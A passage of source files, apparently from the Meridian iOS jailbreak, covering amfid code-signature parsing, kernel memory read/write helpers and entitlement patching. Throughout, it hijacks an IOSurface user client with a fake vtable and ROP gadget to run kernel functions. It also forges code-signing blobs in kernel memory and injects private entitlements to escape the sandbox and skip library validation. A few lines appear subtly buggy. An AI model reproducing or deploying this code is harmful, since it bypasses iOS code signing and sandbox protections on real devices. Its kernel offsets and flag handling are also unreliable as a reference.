CS_GenericBlob **entitlements) { *chosen_cd = NULL; *entitlements = NULL; const CS_GenericBlob *blob = (const CS_GenericBlob *)csblob; if (!BLOB_FITS(blob, blob_size)) { ERROR("csblob too small even for generic blob"); return 1; } uint32_t length = ntohl(blob->length); if (ntohl(blob->magic) == CSMAGIC_EMBEDDED_SIGNATURE) { const CS_CodeDirectory *best_cd = NULL; int best_rank = 0; const CS_SuperBlob *sb = (const CS_SuperBlob *)csblob; uint32_t count = ntohl(sb->count); if (!BLOB_FITS(sb, blob_size)) { ERROR("csblob too small for superblob"); return 1; } for (int n = 0; n < count; n++){ const CS_BlobIndex *blobIndex = &sb->index[n]; uint32_t type = ntohl(blobIndex->type); uint32_t offset = ntohl(blobIndex->offset); if (length < offset) { ERROR("offset of blob #%d overflows superblob length", n); return 1; } const CS_GenericBlob *subBlob = (const CS_GenericBlob *)((uintptr_t)csblob + offset); size_t subLength = ntohl(subBlob->length); if (type == CSSLOT_CODEDIRECTORY || (type >= CSSLOT_ALTERNATE_CODEDIRECTORIES && type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT)) { const CS_CodeDirectory *candidate = (const CS_CodeDirectory *)subBlob; unsigned int rank = hash_rank(candidate); // Apple's code: `rank > best_rank` (kind of obvious, right?) // So why is it I have to switch it to get it to work? // macos-10.12.6-sierra/xnu-3789.70.16/bsd/kern/ubc_subr.c#534 if (best_cd == NULL || rank < best_rank) { best_cd = candidate; best_rank = rank; *chosen_cd = best_cd; *csb_offset = offset; } } else if (type == CSSLOT_ENTITLEMENTS) { *entitlements = subBlob; } } } else if (ntohl(blob->magic) == CSMAGIC_CODEDIRECTORY) { *chosen_cd = (const CS_CodeDirectory *)blob; *csb_offset = 0; } else { ERROR("Unknown magic at csblob start: %08x", ntohl(blob->magic)); return 1; } if (chosen_cd == NULL) { ERROR("didn't find codedirectory to hash"); return 1; } return 0; } // xnu-3789.70.16/bsd/kern/ubc_subr.c#231 static unsigned int hash_rank(const CS_CodeDirectory *cd) { uint32_t type = cd->hashType; for (unsigned int n = 0; n < sizeof(hashPriorities) / sizeof(hashPriorities[0]); ++n) { if (hashPriorities[n] == type) { return n + 1; } } return 0; } int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]) { uint32_t realsize = ntohl(directory->length); if (ntohl(directory->magic) != CSMAGIC_CODEDIRECTORY) { ERROR("expected CSMAGIC_CODEDIRECTORY"); return 1; } uint8_t out[CS_HASH_MAX_SIZE]; uint8_t hash_type = directory->hashType; switch (hash_type) { case CS_HASHTYPE_SHA1: CC_SHA1(directory, realsize, out); break; case CS_HASHTYPE_SHA256: case CS_HASHTYPE_SHA256_TRUNCATED: CC_SHA256(directory, realsize, out); break; case CS_HASHTYPE_SHA384: CC_SHA384(directory, realsize, out); break; default: INFO("Unknown hash type: 0x%x", hash_type); return 2; } memcpy(hash, out, CS_CDHASH_LEN); return 0; } const char *get_hash_name(uint8_t hash_type) { switch (hash_type) { case CS_HASHTYPE_SHA1: return "SHA1"; case CS_HASHTYPE_SHA256: case CS_HASHTYPE_SHA256_TRUNCATED: return "SHA256"; case CS_HASHTYPE_SHA384: return "SHA384"; default: return "UNKNWON"; } return ""; } int open_img(img_info_t* info) { #define _LOG_ERROR(str, args...) ERROR("(%s) " str, info->name, ##args) int ret = -1; if (info == NULL) { INFO("img info is NULL"); return ret; } info->fd = -1; info->size = 0; info->addr = NULL; info->fd = open(info->name, O_RDONLY); if (info->fd == -1) { _LOG_ERROR("Couldn't open file"); ret = 1; goto out; } struct stat s; if (fstat(info->fd, &s) != 0) { _LOG_ERROR("fstat: 0x%x (%s)", errno, strerror(errno)); ret = 2; goto out; } size_t fsize = s.st_size; info->size = fsize - info->file_off; const void *map = mmap(NULL, fsize, PROT_READ, MAP_PRIVATE, info->fd, 0); if (map == MAP_FAILED) { _LOG_ERROR("mmap: 0x%x (%s)", errno, strerror(errno)); ret = 4; goto out; } info->addr = (const void*) ((uintptr_t) map + info->file_off); ret = 0; out:; if (ret) { close_img(info); } return ret; #undef _LOG_ERROR } void close_img(img_info_t* info) { if (info == NULL) { return; } if (info->addr != NULL) { const void *map = (void*) ((uintptr_t) info->addr - info->file_off); size_t fsize = info->size + info->file_off; munmap((void*)map, fsize); } if (info->fd != -1) { close(info->fd); } } ================================================ FILE: Meridian/amfid/ent_patching.h ================================================ #include "cs_dingling.h" int fixup_platform_application(const char *path, uint64_t macho_offset, const void *blob, uint32_t cs_length, uint8_t cd_hash[20], uint32_t csdir_offset, const CS_GenericBlob *entitlements); ================================================ FILE: Meridian/amfid/ent_patching.m ================================================ #include #include #include #include "cs_dingling.h" #include "kexecute.h" #include "kmem.h" #include "osobject.h" #include "ubc_headers.h" #include "kern_utils.h" // You don't wanna know why this exists :-) int added_offset = -1; // Default entitlements to be granted const char *default_ents = "" "" "" "" "platform-application" // escape container restriction "" "com.apple.private.security.no-container" // no container "" "get-task-allow" // task_for_pid "" "com.apple.private.skip-library-validation" // allow invalid libs "" "" ""; uint64_t get_vfs_context() { // vfs_context_t vfs_context_current(void) uint64_t vfs_context = kexecute(offset_vfs_context_current, 1, 0, 0, 0, 0, 0, 0); vfs_context = zm_fix_addr(vfs_context); return vfs_context; } int get_vnode_fromfd(uint64_t vfs_context, int fd, uint64_t *vpp) { uint64_t vnode = kalloc(sizeof(vnode_t *)); // int vnode_getfromfd(vfs_context_t cfx, int fd, vnode_t vpp) int ret = kexecute(offset_vnode_getfromfd, vfs_context, fd, vnode, 0, 0, 0, 0); *vpp = rk64(vnode); kfree(vnode, sizeof(vnode_t *)); return ret; } int vnode_put(uint64_t vnode) { return kexecute(offset_vnode_put, vnode, 0, 0, 0, 0, 0, 0); } int calculate_added_offset(uint64_t vnode) { int32_t possibly_iocount = rk32(vnode + offsetof(struct vnode, v_iocount)); NSLog(@"possibly_iocount value: %d", possibly_iocount); // Since we've just called vnode_getfromfd, the iocount of this vnode cannot // be 0. It also cannot be a negative number, as this would be an invalid // iocount. However, if this is the case, we are actually looking at the // v_owner field due to mismatched offsets, dictating that this device is // running an older version of xnu with an 8 byte smaller vnode struct. return (possibly_iocount <= 0) ? -8 : 0; } int check_vtype(uint64_t vnode) { /* struct vnode { // `vnode` ... uint16_t `v_type`; */ uint16_t v_type = rk16(vnode + offsetof(struct vnode, v_type) + added_offset); if (v_type != VREG) { NSLog(@"got weird vtype for vnode (0x%llx): %d", vnode, v_type); return 1; } return 0; } uint64_t get_vu_ubcinfo(uint64_t vnode) { /* struct vnode { // `vnode` ... union { struct ubc_info *vu_ubcinfo; } v_un; */ return rk64(vnode + offsetof(struct vnode, v_un) + added_offset); } uint64_t get_csblobs(uint64_t vu_ubcinfo) { /* struct ubc_info { // `vu_ubcinfo` .... struct cs_blob *cs_blobs; */ return rk64(vu_ubcinfo + offsetof(struct ubc_info, cs_blobs)); } void csblob_ent_dict_set(uint64_t cs_blobs, uint64_t dict) { // void csblob_entitlements_dictionary_set(struct cs_blob *csblob, void *entitlements) kexecute(offset_csblob_ent_dict_set, cs_blobs, dict, 0, 0, 0, 0, 0); } void csblob_update_csflags(uint64_t cs_blobs, uint32_t flags_to_add) { /* struct cs_blob { ... unsigned int csb_flags; */ uint32_t csflags = rk32(cs_blobs + offsetof(struct cs_blob, csb_flags)); csflags |= flags_to_add; wk32(cs_blobs + offsetof(struct cs_blob, csb_flags), csflags); } int set_memory_object_code_signed(uint64_t vu_ubcinfo) { uint64_t ui_control = rk64(vu_ubcinfo + offsetof(struct ubc_info, ui_control)); if (ui_control == 0) { NSLog(@"failed to get ui_control"); return 1; } uint64_t moc_object = rk64(ui_control + 0x8); // offsetof(struct memory_object_control, moc_object) if (moc_object == 0) { NSLog(@"failed to get moc_object"); return 1; } uint64_t code_signed_addr = moc_object + 0xb8; uint32_t curr_code_signed = rk32(code_signed_addr); // `code_signed` is only 1 bit curr_code_signed |= 0x100; wk32(code_signed_addr, curr_code_signed); return 0; } uint64_t cs_hash_ptr = 0; uint64_t find_csb_hashtype(uint32_t hashType) { // We're keeping hold of this just incase the patchfind for `cs_find_md` fails if (cs_hash_ptr == 0) { const struct cs_hash hash = { .cs_type = CS_HASHTYPE_SHA1, .cs_size = CS_SHA1_LEN, .cs_init = offset_sha1_init, .cs_update = offset_sha1_update, .cs_final = offset_sha1_final }; cs_hash_ptr = kalloc(sizeof(hash)); if (cs_hash_ptr != 0) { kwrite(cs_hash_ptr, &hash, sizeof(hash)); } else { NSLog(@"failed to kalloc %lu bytes! (find_csb_hashtype)", sizeof(hash)); } } if (offset_cs_find_md == 0) { // Dammit :( If the hash isn't SHA1 it now won't run, // but if we return 0 it will just KP. I'd rather a Killed: 9 NSLog(@"FATAL ERROR! Unable to find 'cs_find_md'!!"); return cs_hash_ptr; } return rk64(offset_cs_find_md + ((hashType - 1) * 0x8)); } uint64_t construct_cs_blob(const void *cs, uint32_t cs_length, uint8_t cd_hash[CS_CDHASH_LEN], uint32_t chosen_off, uint64_t macho_offset) { uint64_t entire_csdir = kalloc(cs_length); if (entire_csdir == 0) { NSLog(@"error!! failed to kalloc %d bytes!! (construct_cs_blob)", cs_length); return 0; } kwrite(entire_csdir, cs, cs_length); const CS_CodeDirectory *blob = (const CS_CodeDirectory *)((uintptr_t)cs + chosen_off); struct cs_blob *cs_blob = malloc(sizeof(struct cs_blob)); bzero(cs_blob, sizeof(struct cs_blob)); cs_blob->csb_next = 0; cs_blob->csb_cpu_type = -1; cs_blob->csb_flags = (ntohl(blob->flags) & CS_ALLOWED_MACHO) | CS_VALID | CS_SIGNED; cs_blob->csb_base_offset = macho_offset; cs_blob->csb_start_offset = 0; if (ntohl(blob->version) >= CS_SUPPORTSSCATTER && ntohl(blob->scatterOffset) != 0) { const SC_Scatter *scatter = (const SC_Scatter *)((const char *)blob + ntohl(blob->scatterOffset)); cs_blob->csb_start_offset = ((off_t)ntohl(scatter->base)) * (1U << blob->pageSize); } cs_blob->csb_mem_size = cs_length; cs_blob->csb_mem_offset = 0; cs_blob->csb_mem_kaddr = entire_csdir; memcpy(cs_blob->csb_cdhash, cd_hash, CS_CDHASH_LEN); uint64_t csb_hashtype = find_csb_hashtype(blob->hashType); if (csb_hashtype == 0) { NSLog(@"failed to get csb_hashtype!! (construct_cs_blob)"); return 0; } cs_blob->csb_hashtype = (const struct cs_hash *)csb_hashtype; cs_blob->csb_hash_pagesize = (1U << blob->pageSize); cs_blob->csb_hash_pagemask = (1U << blob->pageSize) - 1; cs_blob->csb_hash_pageshift = blob->pageSize; cs_blob->csb_end_offset = ntohl(blob->codeLimit) + cs_blob->csb_hash_pagemask & ~cs_blob->csb_hash_pagemask; cs_blob->csb_hash_firstlevel_pagesize = 0; cs_blob->csb_cd = (const CS_CodeDirectory *)(entire_csdir + chosen_off); if (cs_blob->csb_flags & CS_PLATFORM_BINARY) { cs_blob->csb_platform_binary = 1; cs_blob->csb_platform_path = !!(cs_blob->csb_flags & CS_PLATFORM_PATH); } else if ((ntohl(blob->version) >= CS_SUPPORTSTEAMID) && (blob->teamOffset > 0)) { const char *name = ((const char *)blob) + ntohl(blob->teamOffset); int length = strlen(name) + 1; uint64_t teamid_addr = kalloc(length); if (teamid_addr == 0) { NSLog(@"failed to kalloc %d bytes!! (construct_cs_blob)", length); return 0; } kwrite(teamid_addr, name, length); cs_blob->csb_teamid = (const char *)teamid_addr; } uint64_t kernel_blob = kalloc(sizeof(struct cs_blob)); kwrite(kernel_blob, cs_blob, sizeof(struct cs_blob)); free(cs_blob); return kernel_blob; } uint64_t fresh_entitlements_blob = 0; uint64_t get_fresh_entitlements_blob() { if (fresh_entitlements_blob == 0) { int size = 8 + strlen(default_ents); CS_GenericBlob *entitlements_blob = (CS_GenericBlob *)malloc(size); bzero(entitlements_blob, size); entitlements_blob->magic = CSMAGIC_EMBEDDED_ENTITLEMENTS; entitlements_blob->length = size; strncpy(entitlements_blob->data, default_ents, strlen(default_ents) + 1); // Copy the data into kernel uint64_t fresh_entitlements_blob = kalloc(size); if (fresh_entitlements_blob == 0) { NSLog(@"failed to allocate %d bytes!! in ent_patching", size); return -1; } kwrite(fresh_entitlements_blob, entitlements_blob, size); free(entitlements_blob); } return fresh_entitlements_blob; } int fixup_platform_application(const char *path, uint64_t macho_offset, const void *blob, uint32_t cs_length, uint8_t cd_hash[20], uint32_t csdir_offset, const CS_GenericBlob *entitlements) { int ret; uint64_t vfs_context = get_vfs_context(); if (vfs_context == 0) { return -1; } int fd = open(path, O_RDONLY); if (fd < 0) { return -2; } uint64_t vnode = 0; ret = get_vnode_fromfd(vfs_context, fd, &vnode); if (ret != 0) return -3; if (vnode == 0) return -4; if (added_offset == -1) { added_offset = calculate_added_offset(vnode); NSLog(@"added_offset was set to: %d", added_offset); } ret = check_vtype(vnode); if (ret != 0) { return -5; } uint64_t vu_ubcinfo = get_vu_ubcinfo(vnode); if (vu_ubcinfo == 0) { return -6; } bool is_new_cs_blob = false; uint64_t cs_blobs = get_csblobs(vu_ubcinfo); if (cs_blobs == 0) { is_new_cs_blob = true; cs_blobs = construct_cs_blob(blob, cs_length, cd_hash, csdir_offset, macho_offset); if (cs_blobs == 0) { NSLog(@"failed to construct csblob"); return -7; } wk64(vu_ubcinfo + offsetof(struct ubc_info, cs_blobs), cs_blobs); } if (entitlements == NULL) { // generate some new entitlements // this is all we're here to do, really :-) uint64_t dict = OSUnserializeXML(default_ents); if (dict == 0) { NSLog(@"failed to call OSUnserializeXML in ent_patching!!"); return -8; } csblob_ent_dict_set(cs_blobs, dict); csblob_update_csflags(dict, CS_GET_TASK_ALLOW); // Update csb_entitlements_blob with a blob based on `default_ents` wk64(cs_blobs + offsetof(struct cs_blob, csb_entitlements_blob), get_fresh_entitlements_blob()); } else { // there are some entitlements, let's parse them, update the osdict w/ // platform-application (true), and write them into kern uint64_t dict = OSUnserializeXML(entitlements->data); // gotta check for get-task-allow as it sets another csflag // remember: csflags have to be *perfect* otherwise the trick won't work // the reason this is *before* we add it manually is because the kernel won't // know about the manually added entitlement, and therefore this flag won't be set // (assuming it wasn't already in the existing entitlements) ret = OSDictionary_GetItem(dict, "get-task-allow"); if (ret) csblob_update_csflags(cs_blobs, CS_GET_TASK_ALLOW); OSDictionary_SetItem(dict, "platform-application", offset_osboolean_true); OSDictionary_SetItem(dict, "com.apple.private.security.no-container", offset_osboolean_true); OSDictionary_SetItem(dict, "get-task-allow", offset_osboolean_true); OSDictionary_SetItem(dict, "com.apple.private.skip-library-validation", offset_osboolean_true); csblob_ent_dict_set(cs_blobs, dict); // map the genblob up to csb_entitlements_blob // idk if we necessarily need to do this but w/e // TODO: fix this so it uses the *new* entitlements, not the original ones (duh) // Note to self: this field seems to be checked in the case of things like uicache, which requires // the 'com.apple.lsapplicationworkspace.rebuildappdatabases' entitlement. I suspect this field is // designed to be 'userland-viewable' int size = ntohl(entitlements->length); uint64_t entptr = kalloc(size); if (entptr == 0) { NSLog(@"failed to allocate %d bytes!! in ent_patching", size); return -9; } kwrite(entptr, entitlements, size); wk64(cs_blobs + offsetof(struct cs_blob, csb_entitlements_blob), entptr); } if (is_new_cs_blob) { // memory_object_signed // uip->ui_control->moc_object->code_signed = 1 ret = set_memory_object_code_signed(vu_ubcinfo); if (ret != 0) { return -10; } // TODO: Update global cs_* vars // disabled for now... causes panics on 2nd run of the binary // something to do with a mutex lock.. i don't care to figure out what // set generation count // wk64(vu_ubcinfo + offsetof(struct ubc_info, cs_add_gen), 1); // NSLog(@"cs_add_gen: %llx", rk64(vu_ubcinfo + offsetof(struct ubc_info, cs_add_gen))); // Update the cs_mtime field in ubc_info struct uint64_t vnode_attr = kalloc(sizeof(struct vnode_attr)); wk64(vnode_attr + offsetof(struct vnode_attr, va_active), 1LL << 14); // int vnode_getattr(vnode_t vp, struct vnode_attr *vap, vfs_context_t ctx) ret = kexecute(offset_vnode_getattr, vnode, vnode_attr, vfs_context, 0, 0, 0, 0); if (ret != 0) { NSLog(@"vnode_attr failed - ret value: %d", ret); } else { uint64_t mtime = rk64(vnode_attr + offsetof(struct vnode_attr, va_modify_time)); if (mtime != 0) { wk64(vu_ubcinfo + offsetof(struct ubc_info, cs_mtime), mtime); } } } // ret = vnode_put(vnode); // if (ret != 0) { // NSLog(@"failed vnode_put(%llx)! ret: %d", vnode, ret); // return -11; // } close(fd); return 0; } ================================================ FILE: Meridian/amfid/helpers/kexecute.h ================================================ #include #include mach_port_t prepare_user_client(void); void init_kexecute(void); void term_kexecute(void); uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); ================================================ FILE: Meridian/amfid/helpers/kexecute.m ================================================ #include #include #include "kmem.h" #include "kexecute.h" #include "kern_utils.h" #include "offsetof.h" mach_port_t prepare_user_client(void) { kern_return_t err; mach_port_t user_client; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); if (service == IO_OBJECT_NULL){ printf(" [-] unable to find service\n"); exit(EXIT_FAILURE); } err = IOServiceOpen(service, mach_task_self(), 0, &user_client); if (err != KERN_SUCCESS){ printf(" [-] unable to get user client connection\n"); exit(EXIT_FAILURE); } printf("got user client: 0x%x\n", user_client); return user_client; } pthread_mutex_t kexecute_lock; static mach_port_t user_client; static uint64_t IOSurfaceRootUserClient_port; static uint64_t IOSurfaceRootUserClient_addr; static uint64_t fake_vtable; static uint64_t fake_client; const int fake_kalloc_size = 0x1000; void init_kexecute(void) { user_client = prepare_user_client(); // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address if (IOSurfaceRootUserClient_port <= 0) { NSLog(@"error calling find_port whilst initializing kexecute!"); return; } IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel // Create the vtable in the kernel memory, then copy the existing vtable into there fake_vtable = kalloc(fake_kalloc_size); for (int i = 0; i < 0x200; i++) { wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); } // Create the fake user client fake_client = kalloc(fake_kalloc_size); for (int i = 0; i < 0x200; i++) { wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); } // Write our fake vtable into the fake user client wk64(fake_client, fake_vtable); // Replace the user client with ours wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); // Now the userclient port we have will look into our fake user client rather than the old one // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) wk64(fake_vtable+8*0xB7, offset_add_x0_x0_0x40_ret); pthread_mutex_init(&kexecute_lock, NULL); } void term_kexecute(void) { wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); kfree(fake_vtable, fake_kalloc_size); kfree(fake_client, fake_kalloc_size); } uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { pthread_mutex_lock(&kexecute_lock); // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed // through like normal. // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents // (i'm not actually sure if the switch back is necessary but meh) uint64_t offx20 = rk64(fake_client+0x40); uint64_t offx28 = rk64(fake_client+0x48); wk64(fake_client+0x40, x0); wk64(fake_client+0x48, addr); uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); wk64(fake_client+0x40, offx20); wk64(fake_client+0x48, offx28); pthread_mutex_unlock(&kexecute_lock); return returnval; } ================================================ FILE: Meridian/amfid/helpers/kmem.c ================================================ #import "kern_utils.h" #import "kmem.h" #define MAX_CHUNK_SIZE 0xFFF void remote_read_overwrite(mach_port_t task_port, uint64_t remote_address, uint64_t local_address, uint64_t length) { kern_return_t err; mach_vm_size_t outsize = 0; err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize); if (err != KERN_SUCCESS){ return; } if (outsize != length){ return; } } void remote_write(mach_port_t remote_task_port, uint64_t remote_address, uint64_t local_address, uint64_t length) { kern_return_t err = mach_vm_write(remote_task_port, (mach_vm_address_t)remote_address, (vm_offset_t)local_address, (mach_msg_type_number_t)length); if (err != KERN_SUCCESS) { return; } } uint64_t binary_load_address() { kern_return_t err; mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64; memory_object_name_t object_name = MACH_PORT_NULL; mach_vm_size_t target_first_size = 0x1000; mach_vm_address_t target_first_addr = 0x0; struct vm_region_basic_info_64 region = {0}; err = mach_vm_region(mach_task_self(), &target_first_addr, &target_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)®ion, ®ion_count, &object_name); if (err != KERN_SUCCESS) { return -1; } return target_first_addr; } size_t kread(uint64_t where, void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); if (rv || sz == 0) { fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); break; } offset += sz; } return offset; } size_t kwrite(uint64_t where, const void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { size_t chunk = MAX_CHUNK_SIZE; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk); if (rv) { fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); break; } offset += chunk; } return offset; } uint64_t kalloc(vm_size_t size){ mach_vm_address_t address = 0; mach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); return address; } void kfree(mach_vm_address_t address, vm_size_t size){ mach_vm_deallocate(tfp0, address, size); } uint16_t rk16(uint64_t kaddr) { uint16_t val = 0; kread(kaddr, &val, sizeof(val)); return val; } uint32_t rk32(uint64_t kaddr) { uint32_t val = 0; kread(kaddr, &val, sizeof(val)); return val; } uint64_t rk64(uint64_t kaddr) { uint64_t val = 0; kread(kaddr, &val, sizeof(val)); return val; } void wk16(uint64_t kaddr, uint16_t val) { kwrite(kaddr, &val, sizeof(val)); } void wk32(uint64_t kaddr, uint32_t val) { kwrite(kaddr, &val, sizeof(val)); } void wk64(uint64_t kaddr, uint64_t val) { kwrite(kaddr, &val, sizeof(val)); } // thx Siguza typedef struct { uint64_t prev; uint64_t next; uint64_t start; uint64_t end; } kmap_hdr_t; uint64_t zm_fix_addr(uint64_t addr) { static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; if (zm_hdr.start == 0) { // xxx rk64(0) ?! uint64_t zone_map = rk64(offset_zonemap); fprintf(stderr, "zone_map: %llx \n", zone_map); // hdr is at offset 0x10, mutexes at start size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); fprintf(stderr, "zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr)); if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { fprintf(stderr, "kread of zone_map failed!\n"); exit(1); } if (zm_hdr.end - zm_hdr.start > 0x100000000) { fprintf(stderr, "zone_map is too big, sorry.\n"); exit(1); } } uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff); return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; } int kstrcmp(uint64_t kstr, const char* str) { // XXX be safer, dont just assume you wont cause any // page faults by this size_t len = strlen(str) + 1; char *local = (char *)malloc(len + 1); local[len] = '\0'; int ret = 1; if (kread(kstr, local, len) == len) { ret = strcmp(local, str); } free(local); return ret; } ================================================ FILE: Meridian/amfid/helpers/kmem.h ================================================ #include void remote_read_overwrite(mach_port_t task_port, uint64_t remote_address, uint64_t local_address, uint64_t length); void remote_write(mach_port_t remote_task_port, uint64_t remote_address, uint64_t local_address, uint64_t length); uint64_t binary_load_address(); uint64_t kalloc(vm_size_t size); void kfree(mach_vm_address_t address, vm_size_t size); size_t kread(uint64_t where, void *p, size_t size); uint16_t rk16(uint64_t kaddr); uint32_t rk32(uint64_t kaddr); uint64_t rk64(uint64_t kaddr); size_t kwrite(uint64_t where, const void *p, size_t size); void wk16(uint64_t kaddr, uint16_t val); void wk32(uint64_t kaddr, uint32_t val); void wk64(uint64_t kaddr, uint64_t val); uint64_t zm_fix_addr(uint64_t addr); int kstrcmp(uint64_t kstr, const char* str); ================================================ FILE: Meridian/amfid/helpers/offsetof.c ================================================ unsigned offsetof_p_pid = 0x10; // proc_t::p_pid unsigned offsetof_task = 0x18; // proc_t::task unsigned offsetof_p_uid = 0x30; // proc_t::p_uid unsigned offsetof_p_gid = 0x34; // proc_t::p_uid unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) unsigned offsetof_itk_space = 0x300; // task_t::itk_space unsigned offsetof_bsd_info = 0x360; // task_t::bsd_info unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype unsigned offsetof_special = 2 * sizeof(long); // host::special unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid unsigned offsetof_v_type = 0x70; // vnode::v_type unsigned offsetof_v_id = 0x74; // vnode::v_id unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path unsigned offsetof_t_flags = 0x3a0; // task::t_flags ================================================ FILE: Meridian/amfid/helpers/offsetof.h ================================================ extern unsigned offsetof_p_pid; extern unsigned offsetof_task; extern unsigned offsetof_p_uid; extern unsigned offsetof_p_gid; extern unsigned offsetof_p_ruid; extern unsigned offsetof_p_rgid; extern unsigned offsetof_p_ucred; extern unsigned offsetof_p_csflags; extern unsigned offsetof_itk_self; extern unsigned offsetof_itk_sself; extern unsigned offsetof_itk_bootstrap; extern unsigned offsetof_itk_space; extern unsigned offsetof_bsd_info; extern unsigned offsetof_ip_mscount; extern unsigned offsetof_ip_srights; extern unsigned offsetof_ip_kobject; extern unsigned offsetof_p_textvp; extern unsigned offsetof_p_textoff; extern unsigned offsetof_p_cputype; extern unsigned offsetof_p_cpu_subtype; extern unsigned offsetof_special; extern unsigned offsetof_ipc_space_is_table; extern unsigned offsetof_ucred_cr_uid; extern unsigned offsetof_ucred_cr_ruid; extern unsigned offsetof_ucred_cr_svuid; extern unsigned offsetof_ucred_cr_ngroups; extern unsigned offsetof_ucred_cr_groups; extern unsigned offsetof_ucred_cr_rgid; extern unsigned offsetof_ucred_cr_svgid; extern unsigned offsetof_v_type; extern unsigned offsetof_v_id; extern unsigned offsetof_v_ubcinfo; extern unsigned offsetof_ubcinfo_csblobs; extern unsigned offsetof_csb_cputype; extern unsigned offsetof_csb_flags; extern unsigned offsetof_csb_base_offset; extern unsigned 